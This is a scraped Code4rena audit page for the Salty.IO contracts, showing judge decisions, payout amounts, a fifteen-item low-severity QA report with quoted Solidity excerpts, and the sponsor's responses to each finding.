2024-02-20T11:46:00Z
This previously downgraded issue has been upgraded by Picodes
#5 - c4-judge
2024-02-20T11:46:36Z
Picodes marked the issue as duplicate of #1009
#6 - c4-judge
2024-02-20T11:46:40Z
Picodes marked the issue as not selected for report
#7 - c4-judge
2024-02-20T11:46:43Z
Picodes marked the issue as satisfactory
53.4926 USDC - $53.49
Judge has assessed an item in Issue #490 as 2 risk. The relevant finding follows:
Another example is when Alice makes a proposal that other users are not interested in.
Creating a proposal to send SALT to a specific address, but others may not feel inclined to vote. Creating a proposal to set a contract with the wrong contract name, so others may choose not to vote. Creating a proposal for a parameter change with the wrong parameter type.
#0 - c4-judge
2024-02-20T11:45:19Z
Picodes marked the issue as duplicate of #362
#1 - c4-judge
2024-02-20T11:45:22Z
Picodes marked the issue as satisfactory
122.2968 USDC - $122.30
Judge has assessed an item in Issue #762 as 2 risk. The relevant finding follows:
[L-1] The ManagedWallet is not functioning as anticipated.
The proposed mainWallet can confirm the change only after the 30 days timelock. However, it can be skipped.
The confirmationWallet is capable of sending 0.05 ether before suggesting a new main wallet. Subsequently, the activeTimelock is updated. https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/ManagedWallet.sol#L66 receive() external payable { if ( msg.value >= .05 ether ) activeTimelock = block.timestamp + TIMELOCK_DURATION; } After 30 days, the main wallet proposes a new wallet. The newly proposed main wallet can confirm the change immediately since 30 days have elapsed. https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/ManagedWallet.sol#L77 function changeWallets() external { require( msg.sender == proposedMainWallet, "Invalid sender" ); require( block.timestamp >= activeTimelock, "Timelock not yet completed" ); }
#0 - c4-judge
2024-02-03T14:59:12Z
Picodes marked the issue as duplicate of #637
#1 - c4-judge
2024-02-19T16:25:49Z
Picodes marked the issue as satisfactory
🌟 Selected for report: juancito
Also found by: 0x3b, 0xBinChook, 0xCiphky, 0xHelium, 0xMango, 0xOmer, 0xRobocop, 0xSmartContractSamurai, 0xWaitress, 0xbepresent, 0xpiken, 7ashraf, Arz, Audinarey, Banditx0x, Bauchibred, Draiakoo, IceBear, J4X, Jorgect, Kaysoft, KingNFT, Rhaydden, Rolezn, The-Seraphs, Tigerfrake, Topmark, Tripathi, Udsen, ZanyBonzy, a3yip6, b0g0, chaduke, codeslide, csanuragjain, dharma09, djxploit, eta, ether_sky, grearlake, inzinko, jasonxiale, jesjupyter, josephdara, lanrebayode77, linmiaomiao, lsaudit, niroh, oakcobalt, peanuts, pina, sivanesh_808, slvDev, t0x1c, vnavascues, wangxx2026
72.1303 USDC - $72.13
[L-1] The ManagedWallet
is not functioning as anticipated.
The proposed mainWallet
can confirm the change only after the 30
days timelock.
However, it can be skipped.
confirmationWallet
is capable of sending 0.05
ether before suggesting a new main wallet
.
Subsequently, the activeTimelock
is updated.
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/ManagedWallet.sol#L66receive() external payable { if ( msg.value >= .05 ether ) activeTimelock = block.timestamp + TIMELOCK_DURATION; }
30
days, the main wallet proposes a new wallet.30
days have elapsed.
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/ManagedWallet.sol#L77function changeWallets() external { require( msg.sender == proposedMainWallet, "Invalid sender" ); require( block.timestamp >= activeTimelock, "Timelock not yet completed" ); }
[L-2] The parameter order in the proposeCallContract
function is incorrect.
possiblyCreateProposal
function, the parameter string2
is associated with the description
.
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/Proposals.sol#L109function _possiblyCreateProposal( string memory ballotName, BallotType ballotType, address address1, uint256 number1, string memory string1, string memory string2 ) internal returns (uint256 ballotID) { ballots[ballotID] = Ballot( ballotID, true, ballotType, ballotName, address1, number1, string1, string2, ballotMinimumEndTime ); }
proposeCallContract
function, the description
is inserted as parameter string1
.
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/Proposals.sol#L218function proposeCallContract( address contractAddress, uint256 number, string calldata description ) external nonReentrant returns (uint256 ballotID) { return _possiblyCreateProposal( ballotName, BallotType.CALL_CONTRACT, contractAddress, number, description, "" ); }
[L-3] Stop the emission of rewards to the stakingRewards
when there are no liquidity holdings.
bootstrapping rewards
are directed to the liquidityRewardsEmitter
for the WETH/token
and WBTC/token
pools.
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/DAO.sol#L266function _finalizeTokenWhitelisting( uint256 ballotID ) internal { AddedReward[] memory addedRewards = new AddedReward[](2); addedRewards[0] = AddedReward( pool1, bootstrappingRewards ); addedRewards[1] = AddedReward( pool2, bootstrappingRewards ); exchangeConfig.salt().approve( address(liquidityRewardsEmitter), bootstrappingRewards * 2 ); liquidityRewardsEmitter.addSALTRewards( addedRewards ); }
rewards emitter
, rewards are emitted to the pools regardless of whether there are liquidities present in the pools.
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/rewards/RewardsEmitter.sol#L136function performUpkeep( uint256 timeSinceLastUpkeep ) external { bytes32[] memory poolIDs; if ( isForCollateralAndLiquidity ) { poolIDs = poolsConfig.whitelistedPools(); } else { poolIDs = new bytes32[](1); poolIDs[0] = PoolUtils.STAKED_SALT; } stakingRewards.addSALTRewards( addedRewards ); }
[L-4] The pools cannot receive rewards when they are unwhitelisted.
SALT
rewards to the pools is based on arbitrage profits.function unwhitelistPool( IPools pools, IERC20 tokenA, IERC20 tokenB ) external onlyOwner { pools.updateArbitrageIndicies(); }
WBTC/WETH
pool may also receive smaller rewards than anticipated.
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/Upkeep.sol#L196-L198function step7() public onlySameContract { uint256[] memory profitsForPools = pools.profitsForWhitelistedPools(); bytes32[] memory poolIDs = poolsConfig.whitelistedPools(); saltRewards.performUpkeep(poolIDs, profitsForPools ); }
Execute performUpkeep
before unwhitelisting pools.
[L-5] The value of shares may increase.
(101, 1e18)
liquidity into the newly created pool.
And, as a result, he will receive (101 + 1e18)
shares.
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/pools/Pools.sol#L104function _addLiquidity( bytes32 poolID, uint256 maxAmount0, uint256 maxAmount1, uint256 totalLiquidity ) internal returns(uint256 addedAmount0, uint256 addedAmount1, uint256 addedLiquidity) { if ( ( reserve0 == 0 ) || ( reserve1 == 0 ) ) { return ( maxAmount0, maxAmount1, (maxAmount0 + maxAmount1) ); } }
(1e10, 1e10)
.(1e18, 1e18)
, the share would be 1e26
.
It's worth noting that the type of userShare
is uint128
, so there is a possibility of overflow in such cases.[L-6] Swaps in unwhitelisted pools can impact the accurate emission of rewards.
_arbitrageProfits
for the unwhitelisted pools become larger.
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/pools/PoolStats.sol#L51function clearProfitsForPools() external { bytes32[] memory poolIDs = poolsConfig.whitelistedPools(); for( uint256 i = 0; i < poolIDs.length; i++ ) _arbitrageProfits[ poolIDs[i] ] = 0; }
_arbitrageProfits
will influence the subsequent rewards emission, and these pools will receive a significant portion of those rewards.[L-7] There is no access check for airdroppers
.
Airdroppers
can claim initial SALTs
and stake them immediately, but there is no access check for them.
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/launch/Airdrop.sol#L81-L82function claimAirdrop() external nonReentrant { staking.stakeSALT( saltAmountForEachUser ); staking.transferStakedSaltFromAirdropToUser( msg.sender, saltAmountForEachUser ); }
[L-8] There is no access check for a user attempting to liquidate another user.
function liquidateUser( address wallet ) external nonReentrant { require( wallet != msg.sender, "Cannot liquidate self" ); // First, make sure that the user's collateral ratio is below the required level require( canUserBeLiquidated(wallet), "User cannot be liquidated" ); }
[L-9] When there is a sufficient balance of USDS
in Liquidizer
, there is no need to swap WBTC
and WETH
for USDS
.
Liquidizer
.
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L176-L177function liquidateUser( address wallet ) external nonReentrant { wbtc.safeTransfer( address(liquidizer), reclaimedWBTC - rewardedWBTC ); weth.safeTransfer( address(liquidizer), reclaimedWETH - rewardedWETH ); }
WETH
and WBTC
for USDS
.
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/Liquidizer.sol#L139-L140function performUpkeep() external { PoolUtils._placeInternalSwap(pools, wbtc, usds, wbtc.balanceOf(address(this)), maximumInternalSwapPercentTimes1000 ); PoolUtils._placeInternalSwap(pools, weth, usds, weth.balanceOf(address(this)), maximumInternalSwapPercentTimes1000 ); }
In many cases, the price of the collateral is higher than the liquidated USDS
.
Therefore, the Liquidizer
might have enough USDS
to burn.
It's advisable to retain WBTC
and WETH
in the Liquidize
r and execute swaps only when necessary.
[L-10] Certain steps in the performUpkeep
function are interrelated.
performUpkeep
function, we treat all steps as independent.
Even if some steps are reverted, the overall transaction will still proceed.3
, 4
, and 5
as an example.
In step 4
, we send 20%
of the current WETH
for SALT/USDS
POL
and convert the remaining WETH
to SALT
.
However, if step 4
is reverted, the entire WETH
would be converted to SALT
rewards.
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/Upkeep.sol#L158-L180function step4() public onlySameContract { uint256 wethBalance = weth.balanceOf( address(this) ); uint256 amountOfWETH = wethBalance * daoConfig.arbitrageProfitsPercentPOL() / 100; _formPOL(salt, usds, amountOfWETH); } function step5() public onlySameContract { uint256 wethBalance = weth.balanceOf( address(this) ); uint256 amountSALT = pools.depositSwapWithdraw( weth, salt, wethBalance, 0, block.timestamp ); salt.safeTransfer(address(saltRewards), amountSALT); }
[L-11] There is currently no method to withdraw tokens from the DAO
's POL
.
SALT/USDS
and USDS/DAI
POL
s are consistently established using arbitrage profits.USDS
buffer for the Liquidizer
.POL
s, it might be beneficial to withdraw a portion of them.[L-12] It would be more advantageous to allocate SALT
s as rewards in the Liquidizer
.
Liquidizer
, if there is an insufficient amount of USDS
for burning, it withdraws POL
s and converts them to USDS
.
However, the SALT
s are burned in this process.
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/Liquidizer.sol#L144-L149function performUpkeep() external { uint256 saltBalance = salt.balanceOf(address(this)); if ( saltBalance > 0 ) { salt.safeTransfer(address(salt), saltBalance); salt.burnTokensInContract(); } }
POL
s are established using arbitrage profits, it would be more advantageous to send these SALT
s to the rewardsEmitter
rather than burning them.[L-13] There is no access check for users who submit a proposal.
SALT
s and becomes inaccessible, they can still make a proposal.
It's unclear if this behavior is intentional.[L-14] There is an unnecessary call to the excludedCountriesUpdated
function.
function _executeApproval( Ballot memory ballot ) internal { excludedCountries[ ballot.string1 ] = true; exchangeConfig.accessManager().excludedCountriesUpdated(); }
function excludedCountriesUpdated() external { require( msg.sender == address(dao), "AccessManager.excludedCountriedUpdated only callable by the DAO" ); geoVersion += 1; }
[L-15] Pools have the potential to receive bootstrapping rewards multiple times.
function _finalizeTokenWhitelisting( uint256 ballotID ) internal { AddedReward[] memory addedRewards = new AddedReward[](2); addedRewards[0] = AddedReward( pool1, bootstrappingRewards ); addedRewards[1] = AddedReward( pool2, bootstrappingRewards ); exchangeConfig.salt().approve( address(liquidityRewardsEmitter), bootstrappingRewards * 2 ); liquidityRewardsEmitter.addSALTRewards( addedRewards ); }
LPs
for these pools can receive more bootstrapping rewards.
To address this, we should implement a restriction to ensure that any pool receives bootstrapping rewards only once.#0 - c4-judge
2024-02-03T13:24:45Z
Picodes marked the issue as grade-a
#1 - c4-judge
2024-02-07T18:08:29Z
Picodes marked the issue as grade-b
#2 - c4-judge
2024-02-07T18:08:32Z
Picodes marked the issue as grade-a
#3 - c4-judge
2024-02-07T18:08:35Z
Picodes marked the issue as selected for report
#4 - c4-sponsor
2024-02-12T20:48:15Z
othernet-global (sponsor) acknowledged
#5 - othernet-global
2024-02-12T20:48:21Z
Only 1 of 15 reported issues are actionable.
L1: Allowing the confirmation wallet to confirm a proposed wallet is acceptable as the confirmation wallet will not do so.
L2. Will fix.
L3. Acceptable as the amount of intially emitted rewards will be small (target is 1% per day by default and performUpkeep is called multiple times an hour).
L4. Acceptable for rewards to be locked on unwhitelisting as they will be considered non-circulating.
L5. uint128 is acceptable. Warden mentions in the example that the prices are the same, but that the user deposited 100, 1e18 which would not be possible.
L6. Yes, it is acceptable that unwhitelisted pools which are whitelisted again will be entitled to some share of the profits.
L7. Incorrect. Users can only vote in the BootstrapBallot with proper access, and voting is requried for claiming.
L8. Acceptable.
L9. Liquidating WBTC and WETH for USDS is acceptable, even if the USDS will later be burned.
L10. It is acceptable for default behavior on failed step #4 (which should never happen) be increased SALT rewards.
L11. Correct and as designed for security reasons.
L12. Arbitrary choice. Burning is sufficient.
L13. Acceptable.
L14. Noted.
L15. Acceptable if the DAO decides to unwhitelist and whitelist multiple times.
#6 - c4-judge
2024-02-21T17:30:37Z
Picodes marked the issue as not selected for report
#7 - etherSky111
2024-02-23T23:49:38Z
Hi @Picodes , Thanks for your review.
I think #271 is not a dup of #752 and [L-15] of this QA is a dup of #271.
#8 - Picodes
2024-02-26T08:04:15Z
@etherSky111 unrelated, but can you please add a comment here https://github.com/code-423n4/2024-01-salty-findings/discussions/1060 with all the comments you made that I need to check? Otherwise, they will get lost as it's very hard for me to properly track the activity across all issues